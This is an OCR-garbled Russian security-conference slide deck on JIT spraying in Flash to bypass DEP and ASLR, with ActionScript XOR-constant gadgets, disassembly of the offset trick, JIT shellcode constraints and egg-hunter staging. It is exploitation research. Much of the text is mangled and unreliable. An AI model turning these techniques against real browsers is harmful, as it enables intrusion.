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ATaKM HA K/INEHTOB

O6beKT aTaku: MCTOYHUK aTaKu: DKCNJIONT

. Bpay3epbl

. Internet Explorer = HTML/JS

= SWF
. FireFox % . PDF %
. MNnarnHbl/ActiveX = DOC*

J BaHK-KnneHTbl

J BusHec-npunaoxKeHus

. NHoe O
MS Office
*  Adobe Acrobat Reader
*  Adobe Flash
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DEP

[€] cPU-thread 6. (D000D0B70)
[G0G0GCFE] O

(=™

1

1

1
FFF)

BEEEEYH ERROR_IMSUFFI
MO, HE, E, BE, M5, PE, GE,L|

A a3, mnm 3 TAIIC
EMsMtD. B4BEE2A0

3 Memory map

Accezs vialation when executing [ODODODOD]
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DELFE a |Registers (M1
s ERy Bo533F54
i ECH Giman 152
L EDH 7FFE
: —| EEi e
5 [ ESF e21c
2 —| EEF BziCFL
= ESI GEGEGEGS
& EDI BZICF218
B EIF GDED&0En
2 C o ES 8823 32bit
: By R
Bi
coootod) 4 B3oozemn
bit
R T 6 eage hOLL
g 08 LastEre o
H EFL oo016246
H 0 BRBH GREF EEEF
2 QOG0 GEEE BE1E
B 2 G000 GE15 DEEE
H GEA0 AAEE DGR
z 4 GRG0 GEEE DEFF
g S BE00 BEEE HEEE
g & G200 G088 DEGE
eneRa 3 FFFF FFFF FFFF
[enanan e @ 5.21476221990
1 £.2147E331950
2 -8, B7ESEEA599
3 1, Bo2EEv
4 4, 4022214
g 4 4eeoeld
Address |Hew dum ] RETURM %o
CO0E| B9 B8 00 06 00 OO 0O 08 rE SE 61 SE| SE Sf
T 52 27 S5 o5 o £0 Be 52 41 A9 101 43t
i o .
4 5 55| G5 OF 64 68|53 €6 3 tB|tH 48 ASCII "Error Creatina File
TR :
| :
7 i @G| GG 89 @8 68 37 61 3E 61 3E 5B ! USER3Z. wsprintfA
E A BC| 17 B9 B 08 B OO 00 00|09 D9
0| 83 5 14| 2E 9B CZ EE CE BS C5 Cl| 95 24
o6| BE G G0 BE 99 63 98 SE 65 £6 EE|EE 1
fe| 42 A BE| Dz B9 BB B B BB BD DD| DD 6O
£a| 68 E 1B 1A 28 98 C2 EE CC B¢ C5|CL 2A
Ca| Be G G0 B0 89 OE 53 55 G5 £6 £E|EE &6
IR L L
A
FETURN from ntdll.7CSBESES
Fa| oz 0 88| 07 26 3A 6B EE EB EE EB|EE 5D
8| 45 o8 b o] Ob o8 oh oF| o6 86 o6 bl A6 88 | RETURN from ntdll.7CIBESES
16| BE 1 11|22 43 30 46|97 C2 F2 CC B2 CL
za| 2R & 13| 10 95 SE 5F 5@ &0 &0 £0|&D 6B
a| 43 G G0 B8 99 B9 08 0D 05 0O 00| 5B 60
HEgsasHaeiaoae s (RS
iy
- H S2ILEELC]]
Access vidlation when execiting [0D0DODOD] - Shift+Run/Step ta pass exception ta the program
~

ASLR

JIT SPRAY
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ATaKum

DEP ASLR
® ROP — oTknto4eHune DEP " [Tonck HecoBmecTUmbIX DLL
= ROP — sbi30BbI VirtualProtect/VirtualAlloc " /icnonb30oBaHWeE CBA3OK YA3BMMOCTEMN
n memcpy

Pwn2own 2010:
= B3nomaH IE8 Ha Windows 7
http://vreugdenhilresearch.nl/Pwn20wn-2010-Windows7-InternetExplorer8.pdf
= B3nnomaH FireFox 3.6 Ha Windows 7

= Okcnnont CVE-2010-0188
http://blog.metasploit.com/2010/03/latest-adobe-exploit-and-session.html

He yHuBepcanbHoO

© 2002—2010, Digital Security 4
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JIT SPRAY

Anonuc bnasakuc npeacrtasun Ha BlackHat DC 2010 texHuky JIT SPRAY n cnocob

BblHNCNIEHUA a4peCa obbeKTa B NnamATH:

http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

=  O6xoa permanent DEP
=  O6xon ASLR

Hy:keH Flash

BbluncneHune agpeca paboraer okono 8-10 MUHYT

Het PoC

He packpbita Tema wennkoga

© 2002—2010, Digital Security 5
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JIT SPRAY

JIT SPRAY: obxoaum DEP?

UHbeKumna KomaHpa yepes Koa ActionScript

var ret=(0x3C909090”0x3C909090”"0x3C909090”0x3C909090);

VooV

Ox1A1A0100: B89090903C MOV EAX, 3C909090 =

Ox1A1A0105: 359090903C XOR EAX,  3C909090 VicnonHsemas
> =

Ox1A1AO10A: 359090903C XOR EAX, ~ 3€909090 namATb

Ox1A1A010F: 359090903C XOR EAX,  3C909090 .

© 2002—2010, Digital Security 6
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JIT SPRAY: o6xoaum DEP!

Ox1A1A0100: B89090903C MOV EAX, 3C909090

0x1A1A0105: 359090903C XOR EAX,  3C909090 VicnonHsemas
0x1A1A010A: 359090903C XOR EAX,  3C909090 namATb
0x1A1A010F: 359090903C XOR EAX,  3C909090

* * * Cmewaemcst Ha 1 6anT

0x1A1A0101:90  NOP

0x1A1A0102: 90  NOP
0x1A1A0103:90  NOP
0x1A1A0104: 3C35 CMP AL, 35 | Wcnonnaemasn
0x1A1A0106:90  NOP namaTb
0x1A1A0107:90  NOP

0x1A1A0108:90  NOP

0x1A1A0109: 3C35 CMP AL, 35 _

© 2002—2010, Digital Security 7
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JIT SPRAY: o6xoaum DEP!

1A1AE1E4
1A1AE1E9
1H1AE1EE
1A1AE1CE
1A1AB1CE
1A1AE1Ch
1A1AE102
1A1A8107
1A1A810C
1A1ABIE]
1A1AB1EE
1A1AE1EE
1A1AE1FE
1H1AE1FS
1A1AE1FA
1A1AB1FF
1A1ABzEa4
1A1A8ZE9
1A1A8Z8E
1A1ABEZ212
1A1AB212
1A1ABz10
1A1AEZ22
1A1A8Z227
1A1A822C
1A1AB2Z1
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@ CPLU - thread 9. (00000F AC)

JIT SPRAY

OFPHUIrMHARN

FEIE2EIC
FEIE2EIC
FEIEIEIC
S3EC443C
F3CE9E3c
BO2E2E3C
&4EEBE3C
SE4EECIC
SE481C3C
SESBEEE3C
SEVE283C
SEEE2E3C
SH3FEECSH
YEERZE3C
4747330
BH3FESEH
FEEF2E3C
474 7E30
2H2FVZEH
rSEF3@3C
474 7E30
BH3FSECH
rSEF2E3C
FHIEEZIC
B3C23C3C0
SE3H3E3C
2B14243C

AOR
wOR
wOR
AOR
AOR
“OR
wOR
wOR
AOR
AOR
HOR
wOR
wOR
wOR
AOR
HOR
“OR
wOR
wOR
AOR
AOR
“OR
wOR
wOR
AOR
AOR
“OR

ERX, SCE9E 30
ERX, SCE9E8 30
ERX, SCIE9830
ERX, SC44ECTS
ERX, 2CECAIS
ERX, 2CoE38E0
ERX, SCAESEGd
ERX, SCAC4HZE
ERX, 3C1C483E
ERX, SCASSE3E
ERX, 2C2E7E3E
ERX, SCYE80ESE
ERX, &HEE3SF2H
ERX, SCIEEATE
ERX, 3C9847°47
ERX, GASEIF 3R
ERX, SCYE8EFTE
ERX, SC2E4747
ERX, &A7Z3F 20
ERX, SCIEEFYS
ERX, 3Co84747
ERX, GASEZF3H
ERX, SCIEEFTE
ERX, SCE298920
ERX, SC3CC233
ERX, SCIE3HSE
ERX, 3C24143E

@ CPLU - thread 9. (O0000FAC)

1A1AB1E]L
1A1AA1E:S
1A1A81ES
1A1AB1ES
1A1AB1EE
1A1AA1EY
1A1AB1ES
1A1A81ER
1A1AB1EE
1A1AB1EC
1A1AA1ED
1A1AB1EF
1A1A81CE
1A1AB1CY
1A1AB1CE
1A1ABICY
1A1AB1CS
1A1A81CE
1A1A81CE
1A1AB1CE
1A1AB101
1A1AA10=
1A1AA10E
1A1A810S
1A1AB10E

1A1AB100

26 HOF

26 HOF

26 HOP

3C 35 CHF AL, 25

26 HMOP

Lo HOF

L0 HOF

aC 36 CHF AL, 25

26 HOP

ElE HMOP

26 HOP

3C 35 CHF AL, 35

22EC 44 SUE ESF, 44

3C 35 CHF AL, 25

23CAa AOR ERR, ERE

26 HOP

aC 35 CHP AL, 35

Bd 38 HMOW AL, 26

26 HOP

aC 35 CHF AL, 25

&4 1 SBAR MO ER, OWORD PTR FS:CERX]
aC 35 CHP AL, 35

SB4B8 @c MOV EAx, OWORD FTR DS: CERR+EC]
aC 35 CHF AL, 25

SB48 1C MOV EFs, OWORD FTR DS:[CERA+IC]
ac 35 CHMP AL, 35

2BE0 A% MO ED, DWORD PTR DS: CERR+E]

+1 BAWUT K AOPECY
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O6xoanm ASLR?

Bpemsa — aeHbru!

= He byaem BbluMCAATb aapec yepe3 yTeukn Bo Flash - gonro
= Cpenaem 60n1blIOE KONMYECTBO CTaHUL, B Kyye c JIT SPRAY

= [lpoaHanusnpyem namarb...

BbiBOAbI

= ASLR B Windows 7 meHsieT 6a30Bble agpeca MoAaynen, Ho...

= CrtpaHunubl ¢ JIT SPRAY reHepupytotca MOCNTEAQOBATE/IbHO B agpecHom
NPOCTPAHCTBE, HAYMHAA C M1a4LWLNMX a4pecos.

© 2002—2010, Digital Security 9
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U

O6xoanm ASLR!

&4 Process Explorer - Sysinternals: www.sysintern... EI@ Memory map
W il

File Options View Process Find Users Help

B o=@ s sad IR

FAddres= |Size Owner Section |Contains pe| Access

Process DEFP ASLR
+ W] System Idle Process nifas
| csrss.exe <n/a>
+ W] wininit exe /a3
=) | carss exe n/ax
A conhost exe DEP [permanert)  ASLR
| winlogon exe an/az
=| | explorer.exe DEF {pemarent)  ASLR
i) Vihware Tray exe
VMwareLlser.Exe
8 cmd .exe DEP (pemmanert)  ASLR

=@

Commes | Do R
e

qﬂ, Immunity Debugaer.exe
& procexp exe .. DEP |permanert)  ASLR

4 L1 F

CPU Usage: 0.00%  Cormnmit Charge: 33.83% Processes: 41 Phys

© 2002—2010, Digital Security



'JJ [S)(ie?:itt?ilty JIT SPRAY

O6xoanm ASLR!

0x00000000

0x12120000

OXFFFFFFFF
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JIT wennkop - noaroToBKa

Pasmep 6n10Ka

OT pasmepa 6/10Ka 3aBUCUT CABUT OTHOCUTENBHO cneaytowero 610Ka.

= OxXXYY0000 — mnaawme paspaabl Kaxaoro 61o0Ka — Hyau.

=  BBoaHbIM Ko, Flash — okono 0x100 6aimrT.

= Heobxoaumo, 4Tobbl CABUT MeXAy UCNONHAEMbIMM Baokamu oTaryanca Ha 0x00010000.

"  YyuTbiBaA BCe 3TO, BE/IMKA BEPOATHOCTb NONaAaHMA Ha WeNnkoad nyTém BHeapeHus 6onblioro
Konn4yectBa 6n10KoB. Mpu TectupoBaHum — 100%. AHanorua c Heap Spray.

boeBaAa Harpys3Ka

[AnoHuc Bbluncnsan agpec 60eBoro wennkoaa B CTPoKe yepes yteuky Bo Flash, nepenasan
agpec B akcnaounT. JIT wennkon nomevan namaATb N0 NOJIY4EHHOMY agpecy Kak

NCNOJIHAEMYIO N NnepeaaBan yrnpaB/ieHNe Koay 13 3ToMn NamsaTu.
= Jlonro

= He yHMBEpcCanbHO

© 2002—2010, Digital Security
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YragbiBaem agpec - n1erko

mp - ﬂ91 FOOO0D. ﬂ91 F1FFF

Erl.
EF.. J'IEH'I /1. =F=|‘H-
EF#EL. .. J'IIHH Fr+
AN ITHI #H.

HEH:HI I‘FH

w .. ¢'I.-.F|¢

=2 ﬁum|u+ J'I]
Fh t30 .« atewpult-
e wa
BF. . eE¥Efw. .

OO T—0m-

=

15 s

.,_.,_.,_
no=E &
&S
A
=

91
L
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
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JIT wennkop - HarpysKa

Egg-Hunter

Paamewaem 60eBor wennkon B obbeKkte Flash — B cTpoke, a nydlle B Kyye.
= JIT wennKkop vwiet 60eBoM WenaKoa no MmeTke.

[MTomeyaeT NamATb C HANAEHON METKOM KaK UCNOSIHAEMYIO, NepedaeT
ynpaBneHue.

UTor:

* YHuMBepcasbHee (He ToNbKO NOo ajpecy BO3BpaTa, He TONbKO
nepenosiHeHue bydepa)

 HaperkHee (He 3aBMCUM OT CTaplMxX pa3pAaaos, oT Tanm-ayta Flash)

* bBbicTpee (MOMCK TONIbKO B Kyye, MOUCK MO M3BECTHOMY CABUTY)

© 2002—2010, Digital Security
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JIT wennkopg - howto

Mpobnembi:

= Crapwwuin 6anT He moxeT b6bITb 6onble 0x7F
= CoxpaHeHue Z pnara npu ycIOBHOM nepexoae

Henb3a mackuposatb 0x35: CMP, SUB, ADD, OR ...
EanHcTBeHHOe peweHmne: PUSH, Ho ycnoxHAeTcs paboTa co cTekom

"  Mbl He MOXKeM PaboTaTb NONHOLUEHHO C YeTblipexbalTHbIMKU aprymeHTamm

= TpyaHo pabotaTb c CALL

© 2002—2010, Digital Security



Digital
Security

)

JIT wennkop — pabora c 4 6autamm

JIT SPRAY

© 2002—2010, Digital Security

[€] cPU-thread 8. (D0D0OFAC) |
THLABZAC] 5O PUSH EA% ~ | Reaizters [(FPUI N
mmg%g,@ gg == EHE AL, 3% ER (POPEB9EE MSLTF, rdre6956  —
i 2 F
hy Erne .
jaipacEl) B8 Staseccm 1OV ERRX,ZBETIEST —| EB¥ 7CERZES4 kerne |32, FLORZESS
LAIAEZE?| 3G 38 CHP AL, 25 L ECp BEBREFEC ASCID "UirtualPro
tpipacEsl BB Mo AL 22 ESI 7TCEE3I5SE kerne |32, TCOBE5SE
1A1ARZEC| 3C 35 CHP AL, 35 EDI BB8bBa3E3
e S o
- C @ ES @823 32bit BiFFFFFFFF)
mmg%gé gg =5 EHE AL, =% F1 (S @@1E 32bit @(FFFFFFFF]
thipoecal 22 Hoe A @ S5 @623 32bit B0FFFFFFFF]
IAIAEZCS| B2 SCISTEF4 | MOU EAX, 747235307 S0 PE AEEE EEpit SLETECEETEL
iRipezcal 9@ HOF T B e hoon oL .
1AiAEzCE| 30 =s CHP AL, 25 oo
e ok AL, 58 0 8 LastErr BOOEEEOA ERROR_SU
1AipEz0a|  3C =s CHP AL, 25 EFL BEZ4B206 (MO, ME,ME, A, MS, PE
1AipE=02| B4 &4 MOU AH, &5
' ST empty —777 FFFF G@@0000@ @
L Laipe-nd) 5o FUSH ER= T 1271 empty —777 FFFF DOBROREE @
Imm=35 [("E"] 5T2 empty B.8
AL=S& (L") STS empty 1.Z297659583557473395
5T4 emptyu —777 FFFF GOOBPE0A O
STE empty 1.9999999552965164 15
STE empty B.8 il
nddr\-egg HE‘H d'.-”"'lE‘ _ _ - E‘EE‘HEFE“: ?4?26956 Iw.-ll.:l."'t -
BEdz7EP0| e DB 29 22| rr 1B 76 Fz| 25 62 1 SESEEFEE “E'é':'
BE427816| 3F 04 BB 48 EF 21 98 DB/ DG 1A 3 escrr=nl Bf s is 1‘5 e
BE427626| 79 76 CP 43|07 BE 05 CC|15 13 1) BSOREFLS) BRaErdss ct..
mE4Z7a36( 65 76 1B ED(BD B9 ES FE|DD 85 6 | BSBREFLL) foowannm ..Ai
BE4z7E4E| OF 49 36 3F|7C 42 C3 SF F3 DC & | SESAEFDE) 29aaeass) S
mE4Z7asal FR IF F? RE|(3C B7 7¢ DB|EE FE 4 | SOREFD) 2200855 5..
BE4Z7E6A| 70 BF 3C FO(60 8F 4F 1B| 94 Fo 7 | BSOREFDE) 29000855 5.. a
BE4Z7E7E| 1C 63 4F 50|98 76 @7 CalAz 1A 2 | SE3AEFDC) B9aaeass) s.. =
mE4Z7a3a| OF CB A3 2B(7F B3 22 @3|CA 25 ¢ | BSOREFER) 2A0A002E S... 3
|ea4zraca] 26 20 £5 1B E6 DB B9 DCIED Bi G ¥ | DeBAEFEd| &3035563
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JIT wennkop - CKOpPOCTb

LWENNKoQ

0x00000000
0x00010101

+0x00010000 /f LUAT

+0x00010000 /f LUAT

+0x00010000 i LUAI

OXFFFFFFFF

Address

Size

HEFESEEG
B2aEa8E6
B2R486E0
HIASEEEE
B2EEHEEG
B31E1B00
EI1EZEEG
B21FAREG
83431000
B24320E0
B24408E0
B34418686
B2452080
B24EcEE0
H34528E86
B24ECHE6
B3458880
B34 7 AEEE
B24208E86
BI5260E0
EIE9EEEE
BREAGEER
BISBEEEG
BRECHBEG
B2e4266E0
BIFCABEA
B2TC18a6
B2AC4BEG
E3B4&EEG
BRCI7EEE
B3C32880
HIC4BARG
BICTABEG
BIC3EEEE
E407 1886
B407 2660
B40230E8E6
B40CHBEE
B400EEE
B4EDBERG
BEEERBEG
BEEE4BEA
EBEFEAEEG
BEFECBEG
B7 1 Ceaaa
BY 1CE&EEA
B7 10E8E6
Br20EBaE
B 20F a6
By201860

A7302600| 6e
67 3EEEH
grsEamen

AEEEDEGA
aEaz1ia6
AEE21E0
AEEZ2EE
aEaz1a6
BEEE 1 a0
AEEEEAR
G8142680
BEEE 1 a0
BEEEEAR
BEEE1 AR
aEa12a6
aEEE2aGa
BEEEZER
AEEELER
aEEEZa6
ge8acan
AEER4ER
aEEE4a0
aERacan
AEEET AR
BEEE1 AR
AERE2a0
aEE7TFan
BEEITER
BEEE1 AR
aE2E2a06
BEEZ2ER
HEEF 1 a6
aEEE1 a6
g881280
EEE1EE
GEE 1686
BEFEEa0
AEEET AR
BEEEEAR
BEE4EE0
BEEET AR
B8] 06E0
AEERGEE
aEEEZaG
BEEE1 AR
AEEEZAGR
aEEE1 a6
aEEa4an
AEEE1 AR
AEEE2EG
AEEE 1 a0
BEEE1 a6

BEEAD

JIT SPRAY

2 Dump - 075E0000..0776AFFF

BFEEALCH
BFEEALDA
HPSEALIER
EFEEQLFG
BFEEA2EG
HPEEAZ1G
BFEEAZ2E
BFSEA23@
HPEEA24E
BFEEAZER
BFEEBZEE
EPEEAZTE
BFEEA220
BFEEBZ9E
BFEEAZAG
BFEEQAZER
HPEEAZCEH
BFEEAZDE
BFEEQAZER
HPEEAZFE
EFEEAZER
BFEEE31G
HPEEAS2A
BFEEAZ20
BFEEB340
EPEEBSER
BFEEAZER
HPSEASTA
BFEEA22G
BFEEA290
HPSEASAA
EFEEAZER
BPSEASCA
HPSEAS0E
EFEEAZER
BFEEB3FE
HFPEEA4ER
BFEEA41G
BFEEB420
EFPEEA426
BFEEA440
HPSEA4ER
EFEEA4ER
BFEEA4 TR
HPSEA426
BFEEA42G
BPSEA4RE
HPSEA4ER
BFEEA4CH
BFEEB408
HPSEA4ER
BFEEA4FQ
BFEERSHD
EFEEBAELG
HFEEAE 20

FEEEEEFEEEEFEEES
FEFFFEFFFFFFFFFF
FEFFEEFFEEFFFFEF

FEFFFEFFFEFFF
FEEEFEFFEEFFE
FEFFFEFFFFFFF
FEEFEFFFEEFFT
FEEEFEFFEEFFE
FEFFFEFFFFFFF
FEEF £

FEFFEEFF
FEFFFEFFFEFFF

FEFF
FEFE
FEFF
FEFF
FEFE
FFFF
FEEF

FEFFEEFF
FEEEEEFEEERES

FEFF
FEFE
FFFF
FEEF
FEFE
FFFF
FEEF

FEFFEEFF
FEEEEEFEEERES

FFEFFFEFFFFFFEFF
FFEFFFEFFFFFFEFF
FEEEFEFEFEFEFEeEef
FFEFFFEFFFFFFEFF
FREFFEEFFFFFFFEFF
1521558 1 FEV rFllw
FHE- £ 5T Tk 1L bwl)
T5Em. 1 WFERERIEY|
WTYLRAg¥rRa Sl
diw F#nedk- Prisspll, “w
LFEH Ly ke L HIE DS

BE2EEAEE
B812EA0E

Priv| Rl
Friw/BW - [RW o
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JIT SPRAY - asontouus

EGG-HUNTER STAGE 0 - < 30 cek

STAGE 0 - ~ 120 cek

STAGE 0 c ytedkon namatn ~ 420 cek
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Bonpocbl ?

a.sintsov@dsec.ru
dookie@inbox.ru
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